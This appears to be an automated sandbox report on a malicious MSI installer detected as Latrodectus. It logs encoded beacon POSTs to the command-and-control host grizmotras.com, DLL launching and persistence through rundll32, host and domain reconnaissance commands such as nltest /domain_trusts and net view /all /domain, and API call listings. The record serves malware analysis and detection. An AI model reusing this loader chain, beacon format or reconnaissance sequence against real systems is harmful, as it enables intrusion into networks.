Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	172.67.219.28	443	2624	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 00:48:45 UTC	227	OUT	POST /live/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: grizmotras.com Content-Length: 180 Cache-Control: no-cache
2024-04-26 00:48:45 UTC	180	OUT	Data Raw: 59 6a 4f 65 45 79 69 4d 6b 33 52 76 45 35 76 63 43 2f 48 57 43 62 45 64 32 4e 53 69 43 30 56 6b 6c 6d 79 37 39 64 54 54 4c 68 4f 50 56 38 33 30 37 43 56 58 78 71 61 42 6e 4c 41 48 36 41 50 53 63 65 4f 42 57 4c 55 55 66 73 39 46 6c 6f 50 4d 66 50 75 2b 39 73 4c 38 4b 58 7a 4a 63 68 4f 51 36 7a 46 72 48 6c 76 49 4a 6a 4a 33 6f 4c 41 55 39 55 73 4d 47 77 59 55 77 78 69 54 6f 52 70 35 44 5a 4f 37 2f 39 66 6a 48 57 47 47 50 42 6a 73 4c 61 57 31 48 32 47 79 34 6b 4a 34 39 66 61 6d 2f 36 57 68 62 56 64 51 79 53 49 38 2f 41 7a 55 45 67 3d 3d Data Ascii: YjOeEyiMk3RvE5vcC/HWCbEd2NSiC0Vklmy79dTTLhOPV8307CVXxqaBnLAH6APSceOBWLUUfs9FloPMfPu+9sL8KXzJchOQ6zFrHlvIJjJ3oLAU9UsMGwYUwxiToRp5DZO7/9fjHWGGPBjsLaW1H2Gy4kJ49fam/6WhbVdQySI8/AzUEg==
2024-04-26 00:48:49 UTC	576	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 00:48:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=viGrGAVF8zdzBCJQqKbPVZsJkI4fDrIYFeZHkXgYC4o68QPWcZc3DxC2DBTlPuHpIhJh%2BSngIaxrhYpKxxJkW5BjyL6btF%2BcO2%2FcgbzdepjGKTz8tZS31zWnagligiRetQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a291aceb1c8dd0-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 00:48:49 UTC	118	IN	Data Raw: 37 30 0d 0a 51 68 43 75 50 41 36 38 73 77 56 57 50 37 72 33 4e 38 65 58 43 4f 73 53 32 63 6d 32 52 55 78 34 6a 6a 6a 77 71 35 7a 38 41 43 58 4c 42 76 2b 63 79 6e 6b 43 33 6f 36 71 32 35 4d 52 31 6a 36 77 45 2b 33 30 53 2f 64 56 49 4a 31 51 6c 4a 4f 65 62 75 58 6f 35 73 62 75 4d 32 44 4a 63 52 50 5a 70 44 35 69 48 42 72 58 61 53 4e 67 34 4d 68 75 0d 0a Data Ascii: 70QhCuPA68swVWP7r3N8eXCOsS2cm2RUx4jjjwq5z8ACXLBv+cynkC3o6q25MR1j6wE+30S/dVIJ1QlJOebuXo5sbuM2DJcRPZpD5iHBrXaSNg4Mhu
2024-04-26 00:48:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	172.67.219.28	443	2624	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 00:48:51 UTC	227	OUT	POST /live/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: grizmotras.com Content-Length: 180 Cache-Control: no-cache
2024-04-26 00:48:51 UTC	180	OUT	Data Raw: 59 6a 4f 65 45 79 69 4d 6b 33 52 75 45 35 76 63 43 2f 48 57 43 62 45 64 32 4e 53 69 43 30 56 6b 6c 6d 79 37 39 64 54 54 4c 68 4f 50 56 38 33 30 37 43 56 58 78 71 61 42 6e 4c 41 48 36 41 50 53 63 65 4f 42 57 4c 55 55 66 73 39 46 6c 6f 50 4d 66 50 75 2b 39 73 4c 38 4b 58 7a 4a 63 68 4f 51 36 7a 46 72 48 6c 76 49 4a 6a 4a 33 6f 4c 41 55 39 55 73 4d 47 77 59 55 77 78 69 54 6f 52 70 35 44 5a 4f 37 2f 39 66 6a 48 57 47 47 50 42 6a 73 4c 61 57 31 48 32 47 79 34 6b 4a 34 39 66 61 6d 2f 36 57 68 62 56 64 51 79 53 49 38 2f 41 7a 55 45 67 3d 3d Data Ascii: YjOeEyiMk3RuE5vcC/HWCbEd2NSiC0Vklmy79dTTLhOPV8307CVXxqaBnLAH6APSceOBWLUUfs9FloPMfPu+9sL8KXzJchOQ6zFrHlvIJjJ3oLAU9UsMGwYUwxiToRp5DZO7/9fjHWGGPBjsLaW1H2Gy4kJ49fam/6WhbVdQySI8/AzUEg==
2024-04-26 00:48:57 UTC	578	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 00:48:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=79CxeEATA5%2FJlEt5nXVUpNwRz7KdDHdgOhqhlItrVmFkdgB404BzZ3UCKgovMZwqkevqHq73uQ99Curq%2FmIIyOQgxL4RHrh9rTD6uLsRR%2Bl7knsRic3kz7i7lOo%2FJZK5nA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a291d2fbbd74b6-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 00:48:57 UTC	118	IN	Data Raw: 37 30 0d 0a 51 68 43 75 50 41 36 38 73 77 56 57 50 37 72 33 4e 38 65 58 43 4f 73 53 32 63 6d 32 52 55 78 34 6a 6a 6a 77 71 35 7a 38 41 43 58 4c 42 76 2b 63 79 6e 6b 43 33 6f 36 71 32 35 4d 52 31 6a 36 77 45 2b 33 30 53 2f 64 56 49 4a 31 51 6c 4a 4f 65 62 75 58 6f 35 73 62 75 4d 32 44 4a 63 52 50 5a 70 44 35 69 48 42 72 58 61 53 4e 67 34 4d 68 75 0d 0a Data Ascii: 70QhCuPA68swVWP7r3N8eXCOsS2cm2RUx4jjjwq5z8ACXLBv+cynkC3o6q25MR1j6wE+30S/dVIJ1QlJOebuXo5sbuM2DJcRPZpD5iHBrXaSNg4Mhu
2024-04-26 00:48:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:46:47
Start date:	26/04/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\ad.msi"
Imagebase:	0x7ff6f20d0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:46:47
Start date:	26/04/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff6f20d0000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:46:47
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding E4F2088FE7B6F79163C652AEB7DCBA5B C
Imagebase:	0x850000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:46:48
Start date:	26/04/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 2B25E5241F8800AB2020C808DD90D583
Imagebase:	0x850000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:46:49
Start date:	26/04/2024
Path:	C:\Windows\Installer\MSID8B1.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Installer\MSID8B1.tmp" C:/Windows/System32/rundll32.exe C:\Users\user\AppData\Local\sharepoint\360total.dll, homq
Imagebase:	0xb20000
File size:	399'328 bytes
MD5 hash:	B9545ED17695A32FACE8C3408A6A3553
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:46:49
Start date:	26/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Local\sharepoint\360total.dll, homq
Imagebase:	0x7ff648c90000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000006.00000002.1996565614.000001FB3AB60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000006.00000002.1996586579.000001FB3AB70000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:46:49
Start date:	26/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll", homq
Imagebase:	0x7ff648c90000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000007.00000002.3239594516.000002473B520000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000007.00000002.3239003691.0000005536378000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000007.00000003.2918615287.000002473B890000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000007.00000002.3239304282.0000024739A40000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000007.00000003.3072398215.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000007.00000003.3001961858.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000007.00000003.2854188056.000002473B4C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000007.00000002.3239248195.0000024739A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:46:50
Start date:	26/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\AppData\Roaming\Custom_update\Update_77697333.dll", homq
Imagebase:	0x7ff648c90000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000008.00000002.2009341046.00000210FE9F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Latrodectus, Description: Yara detected Latrodectus, Source: 00000008.00000002.2009386305.00000210FEA00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:48:43
Start date:	26/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c ipconfig /all
Imagebase:	0x7ff6bec90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:48:43
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:48:43
Start date:	26/04/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	ipconfig /all
Imagebase:	0x7ff784320000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:48:44
Start date:	26/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c systeminfo
Imagebase:	0x7ff6bec90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:48:44
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:48:44
Start date:	26/04/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff647f00000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:48:44
Start date:	26/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c nltest /domain_trusts
Imagebase:	0x7ff6bec90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\nltest.exe
Wow64 process (32bit):	false
Commandline:	nltest /domain_trusts
Imagebase:	0x7ff7a6b60000
File size:	540'672 bytes
MD5 hash:	70E221CE763EA128DBA484B2E4903DE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c nltest /domain_trusts /all_trusts
Imagebase:	0x7ff6bec90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\nltest.exe
Wow64 process (32bit):	false
Commandline:	nltest /domain_trusts /all_trusts
Imagebase:	0x7ff7a6b60000
File size:	540'672 bytes
MD5 hash:	70E221CE763EA128DBA484B2E4903DE1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	/c net view /all /domain
Imagebase:	0x7ff6bec90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	02:48:45
Start date:	26/04/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net view /all /domain
Imagebase:	0x7ff7786b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	1130
Total number of Limit Nodes:	16

Executed Functions

Function 00B24BA0 Relevance: 36.5, APIs: 24, Instructions: 502
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B257C0: GetCurrentProcess.KERNEL32(00000008,?,823FDEC6,?,-00000010), ref: 00B257D0
Part of subcall function 00B257C0: OpenProcessToken.ADVAPI32(00000000), ref: 00B257D7

CoInitialize.OLE32(00000000), ref: 00B24C15
CoCreateInstance.OLE32(00B672B0,00000000,00000004,00B75104,00000000,?), ref: 00B24C45
CoUninitialize.OLE32 ref: 00B25187
_com_issue_error.COMSUPP ref: 00B251B5

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Process$CreateCurrentInitializeInstanceOpenTokenUninitialize_com_issue_error
String ID:
API String ID: 928366108-0
Opcode ID: e2c145b60b30e7f1da0dc782bb7dc577d267342bf3b206292b9fd5d5f69dc0ce
Instruction ID: b4bd4884586efed6041f5e478650608174ae2a7c24be74f3cc7fdc582cc049be
Opcode Fuzzy Hash: e2c145b60b30e7f1da0dc782bb7dc577d267342bf3b206292b9fd5d5f69dc0ce
Instruction Fuzzy Hash: 8C22BE70A04398DFEB21CFA8D948BADBBF4EF45308F1481D9E409EB281DB759A45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B23C20 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 225
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B236D0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00B23735
Part of subcall function 00B236D0: _wcschr.LIBVCRUNTIME ref: 00B237C6

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 00B23CA8
NtQueryInformationProcess.NTDLL(?,00000000,00000000,00000018,00000000), ref: 00B23CC4
ReadProcessMemory.KERNELBASE(?,?,?,000001D8,00000000,00000000,00000018,00000000), ref: 00B23D01
ReadProcessMemory.KERNELBASE(?,?,?,00000048,00000000,?,000001D8,00000000,00000000,00000018,00000000), ref: 00B23D7A
ReadProcessMemory.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,00000048,00000000,?,000001D8), ref: 00B23EB1
GetLastError.KERNEL32 ref: 00B23F34
FreeLibrary.KERNEL32(?), ref: 00B23F7B

Strings

NtQueryInformationProcess, xrefs: 00B23CA2

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Process$MemoryRead$AddressDirectoryErrorFreeInformationLastLibraryProcQuerySystem_wcschr
String ID: NtQueryInformationProcess
API String ID: 847666571-2781105232
Opcode ID: d014acc574ebe855bf45e3fe304baca51413b42f00701b77bccfa7a4a86a4062
Instruction ID: eba0bc82c5e00bc9b45f9d7962dc369d4748adbd5b08c4245cb1f8c74112e3fe
Opcode Fuzzy Hash: d014acc574ebe855bf45e3fe304baca51413b42f00701b77bccfa7a4a86a4062
Instruction Fuzzy Hash: 87A17D70904659DEDB20DF64DD497AEBBF0FF48708F10459DD409A7280EBB95A88CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B23860 Relevance: 10.7, APIs: 7, Instructions: 227
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B238CB
CloseHandle.KERNEL32(00000000), ref: 00B2390B
Process32FirstW.KERNEL32(?,00000000), ref: 00B2395F
OpenProcess.KERNEL32(00000410,00000000,?), ref: 00B2397A
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00B23A8E
Process32NextW.KERNEL32(?,00000000), ref: 00B23AA2
CloseHandle.KERNEL32(?), ref: 00B23AF0

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Close$HandleProcess32$ChangeCreateFindFirstNextNotificationOpenProcessSnapshotToolhelp32
String ID:
API String ID: 2156003543-0
Opcode ID: df6a2b08b9440f34e21460382807ff7979194ad904fc0738e7440f211d3a1ed6
Instruction ID: 9b8fbf19fdbd81e3139c0ce12d8d6ca80ac13d5c2e2fe9c475833056934129b8
Opcode Fuzzy Hash: df6a2b08b9440f34e21460382807ff7979194ad904fc0738e7440f211d3a1ed6
Instruction Fuzzy Hash: 73A10E71901259EFDF10CFA4D988BDEBBF8FF49704F144199E819AB290D7B85A44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B26A50 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 461
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00B26AC8
OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 00B26AD5
CloseHandle.KERNEL32(00000000), ref: 00B26AF5

Strings

S-1-5-18, xrefs: 00B26B69

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpenToken
String ID: S-1-5-18
API String ID: 4052875653-4289277601
Opcode ID: 998f662e62146f375805576e8849cb12d3dcf2ae4e31eb6ddcfcd82243dbf4e8
Instruction ID: 60490bb44e7334bb95208a296624459a7a332d9c40f29bd31c40f6153385cfd1
Opcode Fuzzy Hash: 998f662e62146f375805576e8849cb12d3dcf2ae4e31eb6ddcfcd82243dbf4e8
Instruction Fuzzy Hash: D702E130901269DFDF14DFA4E9557AEBBF4EF05304F1486D8D80AAB291EB34AE05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00B29730 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::locale::_Init.LIBCPMT ref: 00B29763

Part of subcall function 00B30C94: __EH_prolog3.LIBCMT ref: 00B30C9B
Part of subcall function 00B30C94: std::_Lockit::_Lockit.LIBCPMT ref: 00B30CA6
Part of subcall function 00B30C94: std::locale::_Setgloballocale.LIBCPMT ref: 00B30CC1
Part of subcall function 00B30C94: std::_Lockit::~_Lockit.LIBCPMT ref: 00B30D17

std::_Lockit::_Lockit.LIBCPMT ref: 00B2978A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B297F0
std::locale::_Locimp::_Makeloc.LIBCPMT ref: 00B2984A

Part of subcall function 00B2F57A: __EH_prolog3.LIBCMT ref: 00B2F581
Part of subcall function 00B2F57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B2F5C8
Part of subcall function 00B2F57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B2F620
Part of subcall function 00B2F57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B2F654
Part of subcall function 00B2F57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00B2F6A8

LocalFree.KERNEL32(00000000,00000000,?,00B754B1,00000000), ref: 00B299BF
__cftoe.LIBCMT ref: 00B29B0B

Strings

bad locale name, xrefs: 00B298FF

Memory Dump Source

Source File: 00000005.00000002.1997068000.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.1997049517.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997119056.0000000000B67000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997150424.0000000000B7C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1997171475.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_b20000_MSID8B1.jbxd

Similarity

